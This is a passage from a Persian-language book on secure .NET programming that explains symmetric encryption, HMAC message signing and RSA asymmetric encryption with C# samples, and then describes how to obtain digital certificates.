o HMACSHA256 
o HMACSHA512 

 امضای دیجیتال: 

o ECDsa 
o RSA 

 تبادل کلید: 

o ECDiffieHellman 
o RSA 

  صادفیتتولید اعداد: 

o RNGCryptoServiceProvider 

  ی عبورکلمهتولید یک کلید از یک: 

o Rfc2898DeriveBytes 

 هارمزگذاری داده 3-7

یک  است که به عنوان یک بخش کوچکی از اطلاعات کلید رمزگذاری همیشه نیازمند یک کلید است.

این همان کلیدی است که خروجی الگوریتم  گیرد.قرار می رمزنگاری مورد استفاده یک الگوریتم پارامتر در

های رمزگذاری نشده مشابه استفاده شود، نتایج متفاوتی را کند. کلیدهای مختلف زمانی که با دادهرا تعیین می

 مخفی نگه داشته درست است که در اندازه هاتصادفی از داده یک قطعه کاملا خوب کلید کنند.ایجاد می

 کنند.های شما نیز قابلیت سازگاری پیدا میاگر یک کلید قابلیت سازگاری داشته باشد، داده شده است.

گیرند: متقارن و نامتقارن. بحث زیر اصول اولیه هرکدام از های رمزگذاری در دو کلاس قرار میالگوریتم

 د.دهاستفاده شود را توضیح می هاآندر چه حالاتی باید از  کهاینها و الگوریتم



  نتنویسي امن در داتبرنامه 

212 

 

 
 

 درک رمزگذاری متقارن 1-3-7

 یکه برا یدیاز همان کل کهاین لیبه دل شودیم دهیمتقارن نام تمیالگور نیاست. ا ترعیسرمتقارن  یرمزگذار

نشان داده شده  ریکه در شکل ز طورهمان شود،یهم استفاده م ییرمزگشا یبرا شودیماستفاده  یرمزگذار

 .است

   

 : نمایش عملکرد الگوریتم رمزنگاری متقارن1-7شکل 

 هاآنهمه  :کندمیرا فراهم  دارندمشترکی  ویژگیهای متقارن مختلفی که الگوریتم نتداتچارچوب 

را به  هاآنگیرد و ی رمزگذاری نشده را در اخیتار میهاداده. یک بلوک رمز هستند 1رمزهای بلوکی

 هنگامی کهشوند. کند که به صورت جداگانه رمزگذاری میثابت تقسیم می یهای با اندازهبلوک

های رمزگذاری شده دو بلوکی که اطلاعات مشابه را دربر دارند، داده شوند،استفاده می بلوکی هایالگوریتم

 اطلاعات به فرد مهاجم نشت کند.  شودکه باعث میکنند مشابه را ایجاد می

 «زنجیره بلوک رمز»شود. این کار این مشکل، هر بلوکی با نتیجه رمزگذاری بلوک قبلی ترکیب می رفعبرای 

. برای شودمیاستفاده  نتداتشده توسط هیاراهای در تمام الگوریتم فرضپیششود و به طور نامیده می

 بردار اولیهاین نقطه شروع  ها را برای ترکیب با بلوک اولیه آماده کنید.شروع فرایند باید برخی از داده

(IV) به منظور تصادفی است که شما باید  یداده ایقطعهبلوک اولیه هم  ، یککلید مانند یکشود. نامیده می

های مختلف داده از توجه کنید که نباید بین بخش های رمزگذاری شده ذخیره کنید.داده رمزگشایی

 ده کنید.ااستف دوبارهبردارهای اولیه به صورت 
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 رمزگذاری متقارن با هادادهحفاظت از  

 کنید: ها به صورت متقارن دنبالاین مراحل را برای رمزگذاری داده

 انتخاب یک الگوریتم .1

 ایجاد یا بازیابی یک کلید .2

 ایجاد بردار اولیه .3

 هاهای متن اصلی به آرایه ای از بایتتبدیل داده .4

 بایت متن اصلیی رمزگذاری آرایه .5

 داده رمزگذاری شده و بردار اولیه یذخیره .6

 .کلید درصورتی که جدید باشد یذخیره .7

 :دیکن دنبال داده ییرمزگشا یبرا را مراحل نیا

 .ها استفاده شده بودانتخاب الگوریتم مشابه که برای رمزگذاری داده .1

 .بازیابی کلیدی که استفاده شده بود .2

 .بازیابی بردار اولیه که استفاده شده بود .3

 .های رمزگذاری شدهبازیابی داده .4

 .هارمزگشایی داده .5

 .اصلی قبلی قالبهای رمزگشایی شده به تبدیل داده .6

سازی کلیدهای رمزگذاری شده باید جدا از داشته باشید که حفاظت از کلید مهم است. ذخیرهبه یاد 

های مجاز را بدهند. ی استفادههای رمزگذاری شده باشد و قفل شوند تا تنها اجازهسازی دادهذخیره

شما به خطر  کارخواه دادهپایگاه)بنابراین اگر  مثالی از این بحث است SQL کارگزاردر  مجزاهای دادهپایگاه

تواند کلید را اگر توسط افزار مینرم کهاینکلید ممکن است امن باقی بماند(. البته به دلیل  دادهپایگاهبیفتد 

 کلید به خطر بیفتد وجود دارد. کهاین خطرشما(، هنوز  دادهپایگاهمهاجمان به خطر بیفتد بخواند )برخلاف 

 انتخاب یک الگوریتم متقارن 

 :کندمیهای رمزگذاری متقارن را فراهم رایج ترین الگوریتم نتداتب چارچو

  هادادهاستاندارد رمزگذاری (DES) 

  هادادهالگوریتم رمزگذاری( 3ی سه گانهDES/TDEA) 
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 RC2 
 Rijndael/استاندارد رمزگذاری پیشرفته(AES)  

در فضای نام  SymmetricAlgorithmهای الگوریتم متقارن ازکلاس هریک از کلاس

System.Security.Cryptography ها در قدرت محاسبات به این معناست که مشتق شده است. پیشرفت

یک  RC2بنابراین باید از آن اجتناب شود.  شود،در حال حاضر به راحتی شکسته می DESالگوریتم 

مطابقت با نیازهای صادراتی  به منظور RSAهای برای امنیت داده Ronald Rivestالگوریتم ابداع شده توسط 

U.S  .بود Rijndael استاندارد و تکنولوژی ملی امریکا  یبه عنوان بخشی از یک رقابت توسط موسسه

(NIST برای یافتن الگوریتم رمزگذاری جدید تولید شده بود. نام آن ترکیبی از نامهای ابداع کنندگان )Joan 

Daemen  وVincent Rijmen .بود 

ترین رایج هاآناستفاده کنید زیرا  AesManagedو   RijndaelManagedهای باید از کلاسبه طور کلی 

های متقارن در حال استفاده در امروزه هستند. ) الگوریتم برای استاندارد رمزگذاری پیشرفته، یا الگوریتم

AES ،الگوریتم  درواقعRijndael  تعداد تکرار ثابت است(. و اندازه بلوکبا 

 

 نتهای رمزگذاری متقارن داتکلید برای الگوریتم ی: حداقل و حداکثر اندازه۲-7جدول 

 (BITSحداکثر اندازه کلید ) (BITSحداقل اندازه کلید)  الگوریتم

DES 64 64 

Triple DES 128 192 

Rivest Cipher 2 (RC2) 40 128 

Rijndael/AES 128 256 

 رمزگذاری یک پیام با استفاده از کلیدهای متقارن 

خواهیم یک پیام برای نشان دادن فرایند رمزگذاری با استفاده از کلیدهای متقارن، بیایید درنظر بگیریم که می

خواهیم هیچ جا نمیشود. در اینرا برای پرداخت شامل میکارت اعتباری یات یجزارسال کرده که  کامرانبه 

شود. برای اطمینان از محرمانه پیام را بخواند زیرا آن پیام، اطلاعات شخصی را شامل می کامرانکس جز 

های رمزگذاری شده کنیم، باید روی دو شروع به تبادل پیام کهاینکنیم. اما قبل از بودن، پیام را رمزگذاری می

 چیز به توافق برسیم.

گذاریم و کلید را به اشتراک می کامرانکلید مورد استفاده برای رمزگذاری و رمزگشایی پیام. ما و  .1

 کلید متقارن است. این یکشود. از این رو همان کلید برای رمزگذاری و رمزگشایی استفاده می
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، الگوریتم متقارن کنیمما از کلید متقارن استفاده می کهایناستفاده. به دلیل  موردالگوریتم رمزگذاری  .2

که  طورهمانکند، می پشتیبانیچندین الگوریتم را  نتداتچارچوب باید مورد استفاده قرار گیرد. 

 در جدول زیر نشان داده شده است:

 تعریف کلاس

RC2CryptoServiceProvider RC2 است که توسط  بلوکی یک رمزRon Rivest  1۹80در اواخر دهه 

 .ضعیف است و نباید از آن استفاده شود طراحی شد. این الگوریتم

DESCryptoServiceProvider  بایت  56 اندازهبا کلیدی به  1۹70که از دهه  هادادهاستاندارد رمزگذاری

 و برای نیازهای رمزگذاری امروزی مناسب نیست وجود دارد

TripleDESCryptoServiceProvider که از نامش پیداست این  طورهمانDES  شود. که سه بار اجرا میاست

 رمزگذاری قوی است.یک حتی با استانداردهای امروزی این 

RijndaelManaged Rijndael  استاندارد انتخاب شده توسط شود( دال خوانده می)راین

موسسه تکنولوژی و استاندارد ملی امریکا به عنوان نامزد استاندارد 

 3DESو نهایتاً  DESای (، جایگزینی رسمی برAESرمزگذاری پیشرفته )

را دارد که  AesManagedکلاسی از  چنینهم نتچارچوب داتاست. 

 بایت است. 128با اندازه بلوک  Rijndaelدر اصل الگوریتم 

بایت به عنوان مقادیر  256 اندازه کلیدبایت و  128با اندازه بلوک  Rijndaelواهیم از خمیدر این مثال 

که چگونه رمزگذاری را اجرا  دهدمیاستفاده کنیم. مراحل زیر نشان  RijndaelManagedکلاس  فرضپیش

 کنیم:

بایت  128بایت و بردار اولیه با اندازه  256را برای تولید یک کلید تصادفی با اندازه  زیر کدیمثال  .1

تصادفی دهد. بردار اولیه فقط یک ورودی نمایش می RNGCryptoServiceProviderبا استفاده از 

ثابت که به طور کلی همان اندازه بلوک است، دارد. تصادفی بودن بردار اولیه به همان  یبا اندازه

ها، از دهد تا برای رمزگذاری مکرر پیام استفاده شود، حتی پیام با توالی تکرار بایتکلید اجازه می

. برای کندمیوگیری های پیام رمزگذاری شده جلمهاجمان در برابر حدس زدن ارتباط بین بخش

دهد. در عمل، کلید مشترک معمولا بین تولید کلید و بردار اولیه را نشان میزیر تشریح هدف، مثال 
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شود و به اشتراک های ارتباطی خارج از باند و نه به عنوان بخشی از تبادل پیام تولید میبخش

 شود.گذاشته می

using (RijndaelManaged provider = new RijndaelManaged()) 

{ 

   byte[] initVector = new byte[provider.BlockSize/8]; 

   //Converting 128 bits to bytes  

   byte[] key = new byte[provider.KeySize / 8];  

   // Converting 256 bits  to bytes 

   using (var rngProvider = new RNGCryptoServiceProvider()) 

   { 

      rngProvider.GetBytes(initVector);          

      rngProvider.GetBytes(key); 

   } 

} 

 1234“دهد. متن ساده پیام را نشان می کامرانشده به ارسالکدی برای رمزگذاری پیام زیر مثال  .2

رشته ، شامل شماره کارت اعتباری و تاری  انقضا است. پیام به صورت ”06/13 3456 9012 5678

به  ()Encoding.UTF8.GetBytesهای این رشته را با فراخوانی یا متن است. آرایه ای از بایت

کنیم. ورودی و ارسال می  Transformآوریم و آرایه بایتی را به عنوان ورودی به تابع دست می

 ها است.بایت از خروجی تابع رمزگذاری یا رمزگشایی یک آرایه

// Credit card data that I want to send Kamran  

string creditCard = "1234 5678 9012 3456 06/13";  

byte[] clearBytes = Encoding.UTF8.GetBytes(creditCard); 

byte[] foggyBytes = Transform(clearBytes, provider.CreateEncryptor(key, 

initVector)); 

رمزگذاری و رمزگشایی استفاده روش  برای هر دو یرزمثال  نشان داده شده در Transformتابع  .3

که به عنوان ورودی  transformation شیرمزگذاری و رمزگشایی را را براساس این تابع  شود.می

رمزگذار بازگشت داده شده توسط تابع  شی. برای رمزگذاری، دهدانجام میبه آن ارسال شده است، 

CreateEncryptor  که برای ایجاد شی(CryptoStream  ارسال میشودمیاستفاده ،) کنیم. محتویات

 شده است. رمز باشد که در واقع همان پیامای از بایت میآرایهبازگشت داده شده به صورت 

private byte[] Transform(byte[] textBytes, ICryptoTransform transform) 

{ 

    using (var buf = new MemoryStream()) 

    { 

        using (var stream = new CryptoStream(buf, transform, 

                                                  

CryptoStreamMode.Write)) 

        { 

            stream.Write(textBytes, 0, textBytes.Length); 

            stream.FlushFinalBlock();             return buf.ToArray(); 

        } 



 های مدیریت محتواهای سیستمپذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن 

217 

 

 
 

    } 

} 

این عمل در مواردی مانند ارسال متن  .64در مبنای  شدهکد یبه یک رشته متن رمزشده تبدیل .4

، نیاز است. HTTP، مانند یک فیلد پنهان، یک کوکی و یا سربرگ HTMLرمز به عنوان بخشی از 

که برای کنسول نوشته شده است،  64را ببینید. متن رمز کدگذاری شده در مبنای  زیرمثال 

“naoJ1WaoyI8Ra0bviykBT23o5M0iEWhF56ojcJskQ/8=” البته اگر شما این کد را باشدمی .

اجرا کنید، خروجی مشابه این نخواهد بود چراکه کلید ایجاد شده در قسمت اول این مثال با شما 

 .متفاوت خواهد بود

// This is the string that gets sent to Alice 

string encryptedData = Convert.ToBase64String(foggyBytes); 

Console.WriteLine(encryptedData); 

رمزگشایی پیام و استخراج کارت اعتباری اجرا برای  کامرانکدی است که  زیرمثال  در نهایت، .5

 شیبا ارسال  شود.جا استفاده میدر این Transformن تابع هما توجه داشته باشید که کند.می

decryptor  توسط ایجاد شدهCreateDecryptor ، گوییم که ورودی را به عنوان متن رمز می تابعبه

 .رمزگشانی کند آن راشده در نظر بگیرد و 

var foggyBytes = Convert.FromBase64String(messageFromAmir); 

  

Console.WriteLine( 

    Encoding.UTF8.GetString( 

        Transform(foggyBytes, provider.CreateDecryptor(key, 

initVector)))); 

 امضای پیام با استفاده از کلیدهای متقارن 

 اصالت اکنون که رمزگذاری را در عمل دیدیم بیایید به سراغ امضای دیجیتال برویم. هدف از امضا اطمینان از

در طول انتقال  هاداده)  جامعیت( و انتظار داردهای دریافت شده از طرف کسی است که دریافت کننده )داده

 اند( است.نشده کاریدست

ارسال کرده و از او بخواهیم برای ملاقات به میدان شهر  کامرانخواهیم یک پیام به درنظر بگیرید که می

خواهد اطمینان پیدا کند پیام از طرف شخص درستی ها نگران است و میداده اصالتدر مورد  کامرانبیاید. 

ای گونه پیام محرمانههیچآمده است نه یک آدم فریبکار. در این پیام در مورد محرمانه بودن نگران نیستم زیرا 

 کنیم و تنها ارسال متن ساده قابل قبول است.ارسال نمی

بخش قبلی تولید  مشابهد توانمیکلید مخفی مشترک داریم و این کلید  همانند رمزگذاری، من و کامران یک

سازی شده بر پایه کلید است و نه یک بردار اولیه. ابتدا یک کلید درهم موردنیازشود. بنابراین فقط یک کلید 
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متنی را به یک رشته با  یسازی رشته یا دادهکنیم. درهممشترک ایجاد کرده و به عنوان امضا آن را ارسال می

سازی پیام مبتنی بر درهم احراز هویتکند. کد اصلی است، تبدیل می یگر رشتهتر که نمایانطول ثابت کوتاه

(HMACمی ) است بخش تمرکز این کهتواند به عنوان یک امضا استفاده شود. 

سازی که با کلید مخفی ترکیب مدره ( با استفاده از یک تابعMACپیام ) احراز هویتکد یک در رمزنگاری، 

شود. اگر یک شود. این عمل برای اعتبارسنجی یکپارچگی داده و تصدیق پیام استفاده میشده، محاسبه می

HMAC ارسال کرده که نتیجه آن کد  کامرانتوانیم پیام را با استفاده از کلید برای برای پیام ایجاد کنیم می

 کامرانکنیم. در سمت گیرنده، ارسال می کامراناین کد به  به همراهاز سازی است. بنابراین پیام را درهم

نشود کدی  کاریدسترا ایجاد کند. اگر پیام در مسیر انتقال  HMACتواند با استفاده از کلیدی که دارد می

که دلیل این به  چنینهمایم، دقیقا مطابقت خواهد داشت. ایجاد کرده است و کدی که ارسال کرده کامرانکه 

توانسته با همان کد پیام را ایجاد کند ما هستیم. با مقایسه ، تنها کس دیگری که مییک کلید مشترک داریمما 

تواند هم اعتبار و هم یکپارچگی پیام را معلوم کند. درست مثل رمزگذاری، چندین الگوریتم می کامرانکد، 

 زیرشود که در جدول پشتیبانی می HMACبرای ایجاد یک کد  نتداتچارچوب سازی از طریق درهم

 نشان داده شده است.

 HMACنت برای ایجاد های فراهم شده توسط چارچوب دات: کلاس3-7جدول 

 تعریف کلاس

HMACMD5  سازی الگوریتم درهماز تابعMD5 بیت 128سازی کند. خروجی درهماستفاده می 

طراحی شد و  1۹۹0در اوایل دهه  Ron Rivestتوسط  MD5است. الگوریتم 

 .نیست مطلوب یامروزه یک گزینه

HMACSHA1 سازی از الگوریتم درهمSHA1  کند. منتشر شد استفاده می 1۹۹5که در سال

است. اگرچه به طور گسترده استفاده شده اما  بیت 160سازی خروجی درهم

 نیست. مطلوب یامروزه یک گزینه

HMACSHA256, 

HMACSHA384 و 

HMACSHA512 

کند. استفاده می SHA-2از گروه  SHA-512و  SHA-256 , SHA-384از تابع 

SHA-2  سازی پیداست، که از نام تابع درهم طورهمانمنتشر شد.  2001در سال

 هستند. بیت 512و  384و  256سازی به ترتیب مقدار خروجی درهم

 دهد.چگونگی اجرای امضا و اعتبارسنجی را نشان میمراحل زیر 
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کنند. ما تصمیم ( بر روی استفاده از الگوریتم و کلید توافق می کامرانهمانند رمزگذاری، اعضا ) من و  .1

 هماننددهد. بایتی را نشان می 32کد ایجاد کلید  زیراستفاده کنیم. مثال  SHA256گیریم از الگوریتم می

 است.  نمایشیبرای اهداف نشان داده شده است در اینجا که اد کد ایج ،رمزگذاری

using (var provider = new RNGCryptoServiceProvider()) 

{ 

    byte[] secretKeyBytes = new byte[32]; 

    provider.GetBytes(secretKeyBytes); 

    return Convert.ToBase64String(secretKeyBytes); 

} 

. از کلید باشدمی «مرا در میدان شهر ملاقات کن»نیاز داریم  HMACپیامی که برای ایجاد امضای  .2

استفاده کرده و  HMACSHA256مخفی ایجاد شده در بخش قبلی برای ایجاد یک نمونه از کلاس 

ن را کنیم و آها تبدیل میای از بایتبه آرایهEncoding.UTF8.GetBytes فراخوانیپیام را از طریق 

روشی که نام برده شد  ی. نتیجهیمکنارسال می HMACSHA256 شیاز  ComputeHashبه تابع 

را ببینید. خروجی زیر ها تشکیل شده است. مثال ای از بایترایهآامضایی است که از 

FI0rhihM5nVisyT6X8TrtifBbbl4xGx6wxm4m9MmdVs = کد نمایشی از که خواهد بود 

 .باشدمی 64در مبنای  امضا گذاری

byte[] dataToKamran = Encoding.UTF8.GetBytes("Meet me in the town 

square"); 

using (HMACSHA256 hmac = new HMACSHA256(secretKeyBytes)) 

{ 

    byte[] signatureBytes = hmac.ComputeHash(dataToJoe); 

  

    string signature = Convert.ToBase64String(signatureBytes); 

    Console.WriteLine(signature); 

} 

را به صورت متنی واضح و  «مرا در میدان شهر ملاقات کن»پیام  امضا را ایجاد کردیم،که  اکنون .3

 چه کسی است، بنابراینداند که پیام از طرف می کامران. کنیممیارسال  کامرانبه  مربوطه راامضای 

و  کردهده لید مشترک داریم. او از کلید استفاداند زیرا ما یک کفاده را میکلید مخفی مورد است

کند. اگر امضایی که او ایجاد میبرایش ارسال شده، متناظر با پیامی که  HMAC256خودش امضای 

که  شودمیمتوجه  کامران ، مطابقت داشته باشد،ایمهمراه پیام فرستاده مابا امضایی که  کندمیایجاد 

 اند.نشده کاریدستها در طول انتقال داده

ها دانیم او متقاعد شده است که دادهاین کلید مخفی مشترک را می کامرانفقط من و  کهاینبه دلیل 

به عنوان راز  کامراناین کلید مشترک کار کند باید بین من و  کهاینباشد. البته برای از طرف من می

 باقی بماند.
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میتواند برای اعتبارسنجی و امضا  کامرانکدی که  زیر. مثال شودمیسنجی اعتباردر نهایت نوبت به  .4

 دهد.استفاده کند را نشان می

string signatureOfAmir = "FI0rhihM5nVisyT6X8TrtifBbbl4xGx6wxm4m9MmdVs="; 

byte[] dataFromAmir = Encoding.UTF8 

                                 .GetBytes("Meet me in the town square"); 

  

using (HMACSHA256 hmac = new HMACSHA256(secretKeyBytesOfAmir)) 

{ 

    byte[] signatureBytes = hmac.ComputeHash(dataFromAmir); 

    string computedSignature = Convert.ToBase64String(signatureBytes); 

  

    if (computedSignature.Equals(signatureOfAmir, 

                                       StringComparison.Ordinal)) 

        Console.WriteLine("Authentic"); 

} 

 گذاری رازها با استفاده از رمزگذاری نامتقارناشتراک ۲-3-7

درگیر باشند هر دو  فرد. اگر دو شده باشیدف در رمزگذاری متقارن شما ممکن است متوجه یک نقطه ضع

کلید را به صورت امن ذخیره نکند ممکن است خطراتی  فردنیاز به اشتراک کلید رمزگذاری دارند. اگر یک 

ی کرده است. در ضمن رها را رمزگذارا داشته باشد. به علاوه این ممکن نیست که بگوییم کدام بخش داده

، از دو اشتراک کلیدها نیازرمزگذاری نامتقارن برای رفع  مشکل است. کارلیدها در حالت امن یک تبادل ک

یکی برای رمزگذاری )شناخته شده به عنوان کلید عمومی( و دیگری برای رمزگشایی )شناخته شده به کلید، 

نباید پنهان نگه داشته  گونه که از نام آن پیداست کلید عمومیهمان کند.می استفاده عنوان کلید خصوصی(

کلید  باشده رمزگذاریهای داده داده شود. ،آن رمزگذاری کند باخواهد تواند به هرکسی که میشود و می

)که مانند کلید متقارن بسیار مخفی است(  کرداز طریق کلید خصوصی رمزگشایی  توانفقط می را عمومی

 .ه استنشان داده شد زیرکه در مثال  طورهمان

       

 : استفاده از کلید در رمزگذاری نامتقارن۲-7شکل 
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که یک نوع تکنولوژی است که به شوند، امضاهای دیجیتال استفاده می های نامتقارن اغلب باالگوریتم

ها از طرف چه کسی است دهد تا اعتبارسنجی کند که دادههای رمزگذاری شده اجازه میی دادهدریافت کننده

 امنیت که در شودنشده است. رمزگذاری نامتقارن برای ایجاد انکارناپذیری استفاده می کاریدست کهاینو 

پیام از  صحتامضاهای دیجیتال نیاز به اثبات دیجیتال یک مفهوم مهم است. برای دستیابی به انکارناپذیری، 

کننده و دانش کلید خصوصی ارسالپیام فراهم شده توسط کلید عمومی  سازی امن و اثبات منشأطریق درهم

 دارد.

های نامهگواهیشوند. شما ممکن است قبلا های دیجیتال ایجاد نامهگواهیتوانند با امضاهای دیجیتال می

ویندوز ممکن است به شما  عاملسیستموتر دیده باشید. یافزار بر روی کامپدیجیتال را در حین نصب نرم

اند، به کننده جاسازی شدهکه درون نصبرا بگوید. این اطلاعات از امضای دیجیتال  افزارنرمناشر بسته 

شود، کننده ایجاد مینصبشود. وقتی می ایجاد ناشر به شده صادر دیجیتال ینامهگواهی از ودست آمده 

مانند نام شرکت یا ) نامهگواهیهای را به همراه ویژگی دیجیتال نامهگواهیکلید عمومی از  ،فرایند نشر

 هم 1ایمجموعه مقابلهیک  چنینهمکند. برای او صادر شده است( جاسازی می نامهگواهیشخصی که 

نشده است  کاریدستبعد از امضا  کهاینتواند برای اطمینان از بنابراین بسته می ،شودازی میجاس

 اعتبارسنجی شود.

تر از قابل توجه این است که رمزگذاری نامتقارن از نظر محاسباتی به مقدار قابل توجهی سنگین ییک نکته

 رمزگذاری متقارن است. 

مقدار  نسبت به RSACryptoServiceProvider کلاس نت توسطداترمزگذاری نامتقارن در  سازیپیاده

)که  برسیدها اگر شما به این محدودیتبا محدودیت روبرو است.  تواند رمزگذاری کندیی که میهاداده

بستگی به اندازه کلید دارد( باید با استفاده از رمزگذاری نامتقارن برای تبادل کلید متقارن که بعدا برای 

رویکرد ترکیبی بروید. برای راهنمایی، استفاده از کلید  یک سمت شود بهیتان استفاده میهادادهی رمزگذار

تواند بایتی می 2048بایت را رمزگذاری کند و استفاده از کلید رمزگذاری  117میتواند  RSAبایتی  1024

 بایت را رمزگذاری کند.  245

                                                   

 

 

1 Checksum 
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از  RSAکند(، الگوریتم فی به عنوان کلید خود استفاده میی تصادهادادهبرخلاف رمزگذاری متقارن )که از 

از  Qو  Pکند. دو عدد اول بزرگ استفاده می برای کلیدهایشنقطه شروع  به عنواناعداد اول بزرگ 

اعداد اول اصلی کلید  ه همراهکه ب گذرندمیهای ریاضی برای ایجاد شش پارامتر اضافه فرمول ای ازمجموعه

 عمومی هستند. و توان نیز کلید 1پیمانه، یعنی به دست آمده هایپارامتر تا از . دوسازندمیرا خصوصی 

 نامهگواهينامتقارن بدون  یاستفاده از رمزگذار 

چارچوب کنید، را ایجاد می RSACryptoServiceProvider کلاسجدید از  یکه شما یک نمونه هنگامی

نامتقارن را و پارامترهای لازم برای رمزگذاری  یجاد کردهکلید جدید برای استفاده ا یک جفتنت دات

ها به پارامترهای کلید عمومی و برای رمزگشایی کند. به یاد داشته باشید برای رمزگذاری دادهمی محاسبه

ند از یک شی توانمیها به پارامترهای کلید خصوصی نیاز دارید. پارامترها داده

RSACryptoServiceProvider  وXML  ای از ساختار نمونهو یاRSAParameters د.نصادر شو 

استخراج  XMLو سپس کلید عمومی را به عنوان  کردهرا ایجاد  RSA کد زیر یک نمونه جدید از طبقه

 :کندمی

RSACryptoServiceProvider rsa = RSA.Create();  

string publicKeyAsXml = rsaKey.ToXmlString(false); 

با سیستم یا کسانی که  اً تواند بعدو توان را در بردارد می پیمانهکه  کلید عمومی از XML نمایش این

یک تواند می هاارسال اطلاعات رمزگذاری شده به شما را دارند مورد تبادل قرار گیرد. این سیستم تمایل

RSACryptoServiceProvider  تابعرا با استفاده از FromXmlString  .که اینجا  طورهمانمقدار دهی کند

 نشان داده شده است:

RSACryptoServiceProvider rsa = RSA.Create(); 

rsaKey.FromXmlString(publicKeyAsXml);  

را به   trueمقدار  توانیدمیکلید خصوصی را برای یاداوری و استفاده استخراج و ذخیره کنید  خواهیدمیاگر 

کند،. همانند یک پارامترهای لازم برای رمزگشایی را استخراج می یکه همهارسال کنید  ToXmlStringتابع 

های قادر خواهد بود دادهرا داشته باشد، اطلاعات که این کلید متقارن باید این را امن نگه دارید زیرا هرکسی 

 شما را رمزگشایی کند.

                                                   

 

 

1 Modulus 
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، کلید کردهرا ایجاد  RSACryptoServiceProvider کلاسجدید از  ییک نمونه هادادهبرای رمزگذاری 

ها یک نمونه جدید کنید. برای رمزگشایی دادهرمزگذاری را فراخوانی می تابععمومی را بارگذاری و سپس 

 تابعو سپس  خصوصی را بارگذاری، کلید کردهرا ایجاد  RSACryptoServiceProvider کلاساز 

توانید کلیدهای عمومی و چگونه میدهد که شما نشان می زیر. مثال کنیدمیرمزگشایی را فراخونی 

 نمونه استفاده کنید. یبرای رمزگذاری و رمزگشایی یک رشته هاآنو سپس از  کردهخصوصی را صادر 

// Create an UTF8 encoding class to parse strings from and to byte arrays 

UTF8Encoding encoding = new UTF8Encoding();     

// Setup the sample text to encrypt and convert it to a byte array.  

string clearText = "example";  

byte[] clearTextAsBytes = encoding.GetBytes(clearText);     

// Create a new instance of the RSACryptoServiceProvider 

RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024);  

// Export the keys as XML  

string publicKeyAsXml = rsa.ToXmlString(false);  

string privateKeyAsXml = rsa.ToXmlString(true);     

// Create a new instance of the RSACryptoServiceProvider 

// and load the public key parameters so it can be used to encrypt.  

RSACryptoServiceProvider publicKeyRSA = new 

RSACryptoServiceProvider(1024);  

publicKeyRSA.FromXmlString(publicKeyAsXml);  

byte[] encryptedData = publicKeyRSA.Encrypt(clearTextAsBytes, true);     

// Create a new instance of the RSACryptoServiceProvider 

// and load the private key parameters so it can be used to decrypt. 

RSACryptoServiceProvider privateKeyRSA = new RSACryptoServiceProvider(); 

privateKeyRSA.FromXmlString(privateKeyAsXml); byte[] unencryptedBytes = 

privateKeyRSA.Decrypt(encryptedData, true); 

// And finally convert it back to a string to prove it works!  

string unecnryptedString =  

    Encoding.UTF8.GetString(unencryptedBytes, 0, 

unencryptedBytes.Length); 

 برای رمزگذاری نامتقارنها نامهگواهياستفاده از  

 دایآموخته آنیه تاکنون اماها را دارید شما اکنون توانایی اجرای رمزگذاری نامتقارن برای حجم کمی از داده

های رمزگذاری شده از طرف چه کسی است. توانید بگوید که داده، شما نمیاست دارای یک نقطه ضعف

 کنند.ضاهای دیجیتال ایفای نقش میها همراه با امنامهگواهیاینجا جایی است که 

تر است. این ی کلید رمزگذاری نامتقارن با بعضی مشخصات اضافهدارندهی دیجیتال دربرنامهگواهییک 

ی کلیدها شود و کلیدها اطلاعاتی در مورد دارندهها را شامل مینامهگواهیهای انقضای مشخصات تاری 

تواند ها )یک سرویس آنلاین موجود که مینامهگواهی ابطال لیست)مثل نام یا جزییات شرکت( و محل 

 دارد.است و در معرض خطر قرار نگرفته است( را دربرهنوز موجود  نامهگواهیبررسی شود تا ببیند که 
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و  کارخواههای نامهگواهی، کارگزارهای نامهگواهیستند که شامل در انواع گوناگون ه هانامهگواهی

ها برای رمزگذاری نامهگواهیشود. در ادامه این فصل به بررسی استفاده از ایمیل می هاینامهگواهی

 میپردازیم.

 نامهگواهيدریافت 

 .، سه روش اصلی وجود داردنامهگواهیبرای دریافت یک 

  از بیرون مردم که گیردمیمواقعی مورد استفاده قرار  : عموما این روش درنامهگواهيخرید یک 

 ,Verisign, Thawteهایی مانند شما داشته باشند. شرکت خدمات با تعامل به نیاز شما شرکت

Comodo  به ها،شرکت صادر خواهند کرد. این نامهگواهیان کارخواهاز طریق بررسی هویت برای 

 نتیجه ها هستند و درعاملسیستم و بزرگ مرورگرهای تمام اعتماد مورد ،فرضپیش طور

ای که شما استفاده نامهگواهییک از مراحل خود، نیازی به اعتبارسنجی هیچدر  کارخواه افزارهاینرم

 یک به هاآنی همه اما است، ها متفاوتهای هریک از شرکتکنید ندارند. دستورالعملمی

را روی آن نصب  نامهگواهیخواهید که توسط دستگاهی که می ،(CSRگواهی ) امضای درخواست

 شود، نیاز دارند. کنید تولید می

 مرجع یک است ممکن شما : شرکتشرکت خودتان داخلي نامهگواهي اعتبار از استفاده 

داشته باشید.  نامهگواهی هیارا درخواست توانید از آنمی شما ( فراهم کند کهCAداخلی ) نامهگواهی

برای اعتماد  کنند بایداستفاده می CA یک توسط شده صادر هاینامهگواهی هایی که ازسیستم تمام

خرید پیکربندی می نامهگواهیای که از آن CAگونه که برای اعتماد به ، همانشوند به آن پیکربندی

های نامهگواهیکه برای ثبت تمامی  ،CA ی یکریشه نامهگواهی به . این عمل با اعتماداندشده

 شامل 2008 ویندوز و 2003 شود، انجام شده است. ویندوزاستفاده می CAصادرشده توسط 

 دهند.میه یارارا  CAقابلیت  هستند که «نامهگواهی خدمات»

  نام به فرمان خط یک شامل نتدات : چارچوبخودتان نامهگواهيتولید MakeCert که است 

مورد  آزمون برای فقط باید نامهگواهی قرار بگیرد. این استفاده مورد نامهگواهی تولید برای تواندمی

 باشد. هرنمی نامهگواهی ابطال لیست و CA یاتیجزحاوی هیچ یک از  زیرا قرار گیرد استفاده

. باشد اعتماد قابل کنندمی استفاده آن از که هاییسیستم توسط جداگانه صورت به باید نامهگواهی

هستند. برای آگاهی بیشتر از این قابلیت،  متعدد MakeCertبرای  دسترس در خط فرمان هایگزینه

 به آدرس زیر مراجعه کنید: توانیدمی
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 http:// msdn.microsoft.com/en - us/library/bfsktky3(VS.80).aspx  

 هاینامهگواهید توانمی IIS کنید، مدیریتاستفاده می 2008 ویندوز با یا و ویستا ویندوز با IIS7 از شما اگر

SSL تولید نماید.  سایتوب یک برای 

